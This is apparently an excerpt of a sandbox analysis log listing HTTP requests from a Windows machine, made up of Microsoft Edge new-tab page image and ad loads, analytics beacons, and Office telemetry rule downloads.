Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=335586F4D9E8607124F893D2D81961F7&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=b3c74670122b421b8c913c373ea68470 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=335586F4D9E8607124F893D2D81961F7; _EDGE_S=F=1&SID=13EA95B0122E6C2A23EE809613436DDC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=335586F4D9E8607124F893D2D81961F7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=f17a7838c1b64766c695224f207a90c6 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=335586F4D9E8607124F893D2D81961F7; _EDGE_S=F=1&SID=13EA95B0122E6C2A23EE809613436DDC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730077659523&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=335586F4D9E8607124F893D2D81961F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730077659523&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=335586F4D9E8607124F893D2D81961F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=19E1e97561464da048de4021730077662; XID=19E1e97561464da048de4021730077662
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730077659523&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9fed8d357eb9450493c624b09d3d6698&activityId=9fed8d357eb9450493c624b09d3d6698&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=335586F4D9E8607124F893D2D81961F7; _EDGE_S=F=1&SID=13EA95B0122E6C2A23EE809613436DDC; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730077659523&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9fed8d357eb9450493c624b09d3d6698&activityId=9fed8d357eb9450493c624b09d3d6698&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0485A89758864E929A2A186BCA86AAD7&MUID=335586F4D9E8607124F893D2D81961F7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=335586F4D9E8607124F893D2D81961F7; _EDGE_S=F=1&SID=13EA95B0122E6C2A23EE809613436DDC; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
